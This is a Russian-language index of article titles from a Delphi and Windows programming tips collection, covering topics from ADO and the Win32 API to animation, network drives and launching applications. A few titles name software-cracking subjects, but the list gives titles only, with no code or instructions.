- Типы данных 16 и 32 бит.
- 16 и 32-битные RES-файлы.
- Загрузка 256-цветного TBitmap.
- 256-цветное изображение из res-файла.
- 32-битный CRC.
- Трехмерные формы с изменяющимися размерами.
- Основы 3D математики - Работа с камерой.
- 64-битное кодирование.
- 64-битное кодирование 2.
- 64-битное кодирование 3.
- Диалог прекращения печати.
- Общие сведения о COM.
- О DelphiX.
- Беседа о функциях.
- MIDAS - multi-tired distributed application service suite.
- Информация об OS и о количестве памяти для окна About.
- Что такое порт.
- Разговор о регистрах.
- О реестре.
- Что такое сокет.
- Еще раз о звуке.
- Что такое сообщения Windows.
- Абстрактный набор данных.
- Пароли на базу данных Access.
- Несанкционированный доступ.
- Как читать-писать в I-O порты 2.
- Доступ к COM серверам Microsoft Office.
- Как напрямую добраться до Oracle.
- Доступ к реестру средствами API.
- Почему возникает ошибка Access Violation.
- Горячие клавиши для SpeedButton и переход по полям ввода через Enter.
- Исследование Acdsee32 version 2.4 или как рубить хвосты.
- Action-объекты в многопоточных приложениях.
- Активизация предыдущего экземпляра вашей программы.
- Пример использования ActiveControl.
- ActiveControl имеет DataSet.
- Связка ActiveX - Internet Explorer.
- Управление свойством Font через сервер автоматизации.
- Кнопка заголовка активного окна.
- Исследование Active Phone Server.
- Используем Active Script - шаг за шагом.
- Как заставить дополнительную клавиатуру всегда работать в режиме цифр.
- Как подключить и отключить сетевые диски.
- Добавляем компонент в стандартный Message Dialog.
- Добавить данные в EXE файл и получить их.
- Как добавить документ в меню Документы кнопки ПУСК.
- Добавление события OnMouseLeave.
- Добавить EXE файл в своё приложение и запустить его.
- Добавляем файлы в Recent Documents list.
- Прибавить час.
- Как добавить горизонтальную полосу прокрутки в TListBox.
- Пример добавления пункта в контекстное меню Windows Explorer.
- Причуда AddIndex.
- Проблема с AddIndex.
- Добавить пункт к системному меню приложения.
- Как добавить нужный язык в систему.
- Добавление строк в Memo.
- Добавление иконки в меню.
- Подключение сетевого диска в Delphi.
- Подключение сетевого диска.
- Как подключать сетевые диски.
- Подключение сетевого диска 2.
- Добавлять новые пункты меню.
- Добавление ODBC-драйверов в Delphi.
- Добавляем пароль к таблице Paradox.
- Как программно добавить принтер.
- Как открыть диалог добавления принтера.
- Как открыть диалог Add Printer.
- Добавление записи в файл.
- Добавить цветную строку в TRichEdit.
- Выставляем горячие клавиши для Delphi приложения.
- Добавление строки к файлу.
- Записать или добавить текст в файл.
- Сложение времени.
- Добавление текста в буфер обмена без использования модуля Clipbrd.
- Как добавить True Type шрифт в систему.
- Настройка оси.
- ADO.OLEDB.JET - Access Violation при передаче неполного параметра.
- Найти все таблицы базы данных при помощи ADO.
- Как работать с ADO компонентами в DLL.
- Как работать из Delphi напрямую с ADO.
- Передача параметров ADO запросу.
- Быстрый доступ к ADO.
- Экспорт ADO таблиц в разные форматы.
- Как узнать перечень таблиц базы и количество записей в них (ADO).
- Перевести набор данных ADO в XML и обратно.
- Опыт использования ADO для доступа к базам данных форматов MS Access, xBase и Paradox.
- Узнаём установленную версию ADO.
- Показать или скрыть ActiveDesktop.
- Как выполнять дейтвия после исчезновения контекстного меню.
- Реализация событий AfterShow и AfterCreate.
- Соглашения о вызовах DLL.
- Соглашения о вызовах DLL 2.
- Два простых способа уведомления.
- Алгоритм преобразует алгоритм.
- Псевдонимы.
- Информация о псевдонимах BDE.
- Имитация псевдонима PdoxWIN PRIV.
- Псевдоним на лету.
- Разрешить длинные строки (более 32 кб).
- Все о файлах.
- Список заданных событий всех компонентов.
- Все 270 классов Delphi.
- Получить HTML-код из всех запущенных экземпляров Internet Explorer.
- Получить все установленные компоненты в IDE Delphi.
- Найти все ссылки в TMemo.
- Вывести все способы подачи бумаги для печати.
- Получить информацию обо всех формах проекта.
- Как присвоить все значения полей одного класса, другому такому же классу.
- Как присвоить все значения полей одного класса, другому такому же классу 2.
- Загрузить сразу все записи в TStringList.
- Поочередный поиск заданного значения.
- Альтернатива для TOpenDialog и TSaveDialog.
- Определить, время сейчас до или после полудня.
- Определение наследника класса по имени - аналог IS.
- Анализировать параметры командной строки при загрузке программы.
- Как заставить формы минимизироваться на панель задач с анимацией.
- Анимация окна - AnimateWindow.
- Как анимировать изображение, как пользоваться DXInput.
- Анимация без DirectX.
- Закрыть форму с анимацией.
- Использование анимированных курсоров 3.
- Открытие формы с анимацией.
- Анимированная кнопка ПУСК.
- Асинхронная ошибка.
- Анимированная пиктограмма кнопки.
- Анонимность в IRC.
- Анонимность в Usenet.
- Кодировка KOI8-R.
- Автоопределение кодировки ANSI-OEM.
- Преобразование Ansi to Ascii.
- AntiAON v2.0 by HellLabs.
- Как использовать anti-aliasing.
- Сглаживание.
- Нарисовать линию без зазубринок.
- Борьба с SoftIce.
- Hint любой формы.
- Выключить или перезагрузить, или завершить сеанс в любой версии Windows.
- Апи ASProtect в Антивирусе Stop 4.0.36.
- Использование API BDE для удаления записей.
- Использование API BDE для представления данных.
- Используя WinAPI, скопировать содержимое строки в буфер обмена.
- Построение формы на чистом API.
- Создание формы и кнопки на чистом API.
- Использование функций перечисления WinAPI.
- Файловые операции средствами ShellAPI.
- Получить дескриптор окна другого приложения и сделать его активным.
- Функции Win32 API [ A ].
- Функции Win32 API [ B ].
- Функции Win32 API [ C ].
- Функции Win32 API [ D ].
- Функции Win32 API [ E ].
- Функции Win32 API [ F ].
- Функции Win32 API [ G ].
- Функции Win32 API [ H ].
- Функции Win32 API [ I ].
- Функции Win32 API [ K ].
- Функции Win32 API [ L ].
- Функции Win32 API [ M ].
- Функции Win32 API [ O ].
- Функции Win32 API [ P ].
- Функции Win32 API [ R ].
- Функции Win32 API [ S ].
- Функции Win32 API [ T ].
- Функции Win32 API [ U ].
- Функции Win32 API [ V ].
- Функции Win32 API [ W ].
- Функции Win32 API [ Y ].
- Функции Win32 API [ Z ].
- Функции Win32 API [ _ ].
- Получить доступ к элементам списка с помощью API.
- Определение параметров принтера через API.
- О пользе типа ShortString при использовании WinAPI.
- Как можно опросить различные параметры системы, например количество свободных ресурсов.
- Вывод текста с использованием Windows API функций.
- Как использовать WinAPI.
- Как добавить копию текущей записи.
- Свои апплеты в панели управления.
- Application.Initialize.
- Классы главных форм популярных программ.
- Связь между приложениями.
- Как написать приложение, адекватно отображающееся на экранах с различным разрешением монитора.
- Анимируйте ваше приложение.
- Анимированная иконка приложения.
- Работа в фоне.
- Взлом Windows-приложений.
- Автоматическое определение занятости приложения.
- Как получить имя программы, с которой ассоциировано то или иное расширение.
- Как программе удалить саму себя.
- Как программе удалить саму себя 2.
- Управление приложением через Telnet.
- Как получить путь запущенного приложения.
- Как отследить переход фокуса в приложении.
- TApplication. Проблемы с HelpCommand в Delphi6.
- Создание приложения наподобие MS Outlook.
- Как проводить локализацию своих приложений.
- Как проводить локализацию своих приложений 2.
- Как заставить приложение запускаться в минимизированном состоянии.
- Как заставить приложение запускаться в минимизированном состоянии 2.
- Использовать параметры запуска программы.
- Как запустить приложение и подождать пока оно отработает.
- Как запустить приложение и подождать пока оно отработает 2.
- Как запустить приложение и подождать пока оно отработает 3.
- Как запустить приложение и подождать пока оно отработает 4.
- Как запустить приложение и подождать пока оно отработает 5.
- Как запустить приложение и подождать пока оно отработает 6.
- Определение нажатия определенной клавиши во время загрузки приложения.
- Лимит на время выполнения программы.
- Как поместить программу в автозапуск.
- Как поместить приложение Delphi в Панель Управления.
- Приложение с иконкой в Tray.
- Программа с многоязычным интерфейсом.
- Ныкаем программу от Ctrl Alt Del в WinXP.
- Нарисовать градиент на Canvas с произвольным количеством цветов.
- Проверить эквивалентность двух файлов.
- Арифметика указателей.
- Armadillo и CopyMem II.
- Описание протокола ARP (Address Resolution Protocol).
- Фильтрация, регрессия, работа с массивом и серией.